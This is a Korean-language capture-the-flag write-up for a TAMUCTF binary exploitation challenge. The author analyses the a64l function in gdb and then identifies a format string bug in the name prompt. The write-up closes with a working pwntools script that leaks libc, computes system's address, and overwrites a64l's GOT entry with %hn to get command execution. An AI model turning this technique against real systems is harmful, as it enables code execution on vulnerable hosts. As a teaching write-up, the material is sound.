We put together a demo for our high performance computing server. Why don't you check it out?
nc challenges.tamuctf.com 2783
nc로 접속해보자.
root@goorm:/work/myspace/TAMUCTF/pwn/TROLL# nc challenges.tamuctf.com 2783
Base64 is an encoding that represents binary data in ASCII string format.
Each number from 0 to 63 is mapped to an ASCII character. For example, 'z' is 63
Base64 Decoder: Powered by a64l (0xf7d99290)
Enter your name!
z
Welcome, z
z
Please enter input to be decoded:
63
b
Please enter input to be decoded:
39
이름을 입력받은 뒤, 아스키 문자를 입력받는다.
입력된 아스키 문자를 값에 따라 숫자로 변환해준다.
BASE64 디코더라고 해서, BASE64 테이블에 나와있는대로 아스키와 숫자간의 변환을 해주는 프로그램인줄 알았다.
하지만, 결과값은 달랐다.
wiki에 나온 테이블을 보면 'z'는 51에 해당하지만, 이 프로그램은 63을 출력해준다.
이유를 몰랐다.
이 기능을 수행하는 a64l
의 man page를 확인해봤다.
These functions provide a conversion between 32-bit long integers and
little-endian base-64 ASCII strings (of length zero to six). If the
string used as argument for a64l() has length greater than six, only
the first six bytes are used.
단순히 long integer와 base64 ascii 간의 변환이라고만 나와있다.
급기야 a64l
의 native assembly code를 분석하려고 했다.
단순히 느낌으로 a64l
과 이 함수가 수행하는 디코딩의 과정이 취약점을 찾는 핵심이라고 생각했다.
이전에 pwnable.kr를 풀 때, 특정 암호화나 해쉬를 하는 과정에서 오버플로우가 발생하는 유형의 문제를 풀어봤기 때문에, 비슷한 유형의 문제인줄 알았다.
그래서 디코딩을 담당하는 a64l
의 기능을 파악하고자 어셈블리 코드를 확인했다.
gdb-peda$ pd a64l
Dump of assembler code for function a64l:
0xf757d510 <+0>: push esi
0xf757d511 <+1>: xor ecx,ecx
0xf757d513 <+3>: push ebx
0xf757d514 <+4>: mov edx,DWORD PTR [esp+0xc]
0xf757d518 <+8>: xor eax,eax
0xf757d51a <+10>: call 0xf766302b
0xf757d51f <+15>: add ebx,0x169ae1
0xf757d525 <+21>: movsx esi,BYTE PTR [edx]
0xf757d528 <+24>: sub esi,0x2e
0xf757d52b <+27>: cmp esi,0x4c
0xf757d52e <+30>: ja 0xf757d54c <a64l+60>
0xf757d530 <+32>: movsx esi,BYTE PTR [ebx+esi*1-0x53ae0]
0xf757d538 <+40>: cmp esi,0x40
0xf757d53b <+43>: je 0xf757d54c <a64l+60>
0xf757d53d <+45>: shl esi,cl
0xf757d53f <+47>: add ecx,0x6
0xf757d542 <+50>: add edx,0x1
0xf757d545 <+53>: or eax,esi
0xf757d547 <+55>: cmp ecx,0x24
0xf757d54a <+58>: jne 0xf757d525 <a64l+21>
=> 0xf757d54c <+60>: pop ebx
0xf757d54d <+61>: pop esi
0xf757d54e <+62>: ret
End of assembler dump.
gdb-peda$
간단히 설명하면 DWORD PTR [esp+0xc]
가 입력한 문자열이고, 1바이트씩 가져와서
sub esi,0x2e
특정 오프셋만큼 빼준 후,
cmp esi,0x4c
ja 0xf757d54c <a64l+60>
값을 비교하여 0x4c
보다 크면, 루프를 빠져나오게 된다.
(정확한 값의 의미는 모르겠지만, 0x2e
를 뺐을 때 0x4c
이하인 값이
base64에 해당하는 문자열 범위인 것 같다.)
그리고 문자가 여러 바이트일 때,
shl esi,cl
add ecx,0x6
다음 문자를 연산할 때마다 6bit씩 shift 해준다.
or eax,esi
그리고 각각의 결과값을 eax
와 or 연산을 수행하여 eax에 통합해서 저장한다.
하지만, 이 코드는 아무런 의미가 없었다.
이 문제는 포맷스트링버그 취약점이 존재하는 프로그램이었기 때문이다.
기드라로 디컴파일해보면
입력한 이름이 그대로 printf
의 첫 번째 인자로 전달되는 것을 확인할 수 있다.
포맷스트링 버그가 발생하는 것이다.
과정은 멀었지만, 취약점은 간단해서 시나리오 역시 쉽게 구성할 수 있겠다.
페이로드 구성을 위해 필요한 값을 나열해보자.
1. 취약점 발생을 위한 포맷스트링
2. 덮어쓸 대상인 a64l
의 got 주소
3. 덮어쓸 값인 system
의 실제 주소값
포맷스트링은 일반적인 경우처럼 출력('%x'
) 후 overwrite('%n'
)이지만 주의할 점이 있다.
문자열 길이 제한으로 한 번의 덮어쓰기만 가능하기 때문에, system
의 전체 주소값을 쓰는 것이 아니라, '%hn'
을 이용하여 a64l
의 뒤에 2바이트만 system
주소의 오프셋으로 변경시켜야 한다는 점이다.
주소값은 문제의 친절함 덕에 쉽게 구할 수 있다.
이 문제는 친절히 a64l
의 주소값을 알려주고 있으며, 프로그램에 사용된 라이브러리를 제공해주므로 덮어쓸 값 system
의 메모리상 실제 주소도 쉽게 계산할 수 있다.
문제에서 제공해주는 a64l
의 값으로 base address를 구한 뒤, 라이브러리에서 system
의 오프셋 값을 구해 이를 더하면 메모리에 로드된 system
의 실제 주소값이 된다.
이를 기반으로 파이썬 스크립트를 작성해보자.
from pwn import *
import re
libc = ELF('libc.so.6')
elf = ELF('b64decoder')
addr_rva_a64l = libc.symbols['a64l']
addr_rva_system = libc.symbols['system']
addr_got_a64l = elf.got['a64l']
p = remote('challenges.tamuctf.com', 2783)
#p = process('b64decoder')
recv = p.recvuntil('name! ')
print recv
pt = re.compile('[a-f0-9]{7,8}') #get a64l address
res = pt.findall(recv)
addr_libc_a64l = int(res[0],16)
addr_base = addr_libc_a64l - addr_rva_a64l
addr_got_system = addr_base + addr_rva_system
#overwrite low 2 bytes
fir = addr_got_system & 0xffff
print 'low bytes of system: ' + hex(fir)
print 'got of a64l: ' + hex(addr_got_a64l)
payload = '%{0}x%AA$hn'.format(fir)
payload += 'a'*(4-len(payload)%4)
payload += p32(addr_got_a64l)
payload = payload.replace('AA', str(70+len(payload)/4))
print 'payload: ' + payload
print 'payload: ' + payload[-4:].encode('hex')
print 'len: ' + str(len(payload))
p.interactive()
위 스크립트를 실행하면 내가 입력하는 값이 system 함수의 인자값으로서 실행되어 플래그값을 획득할 수 있게 된다.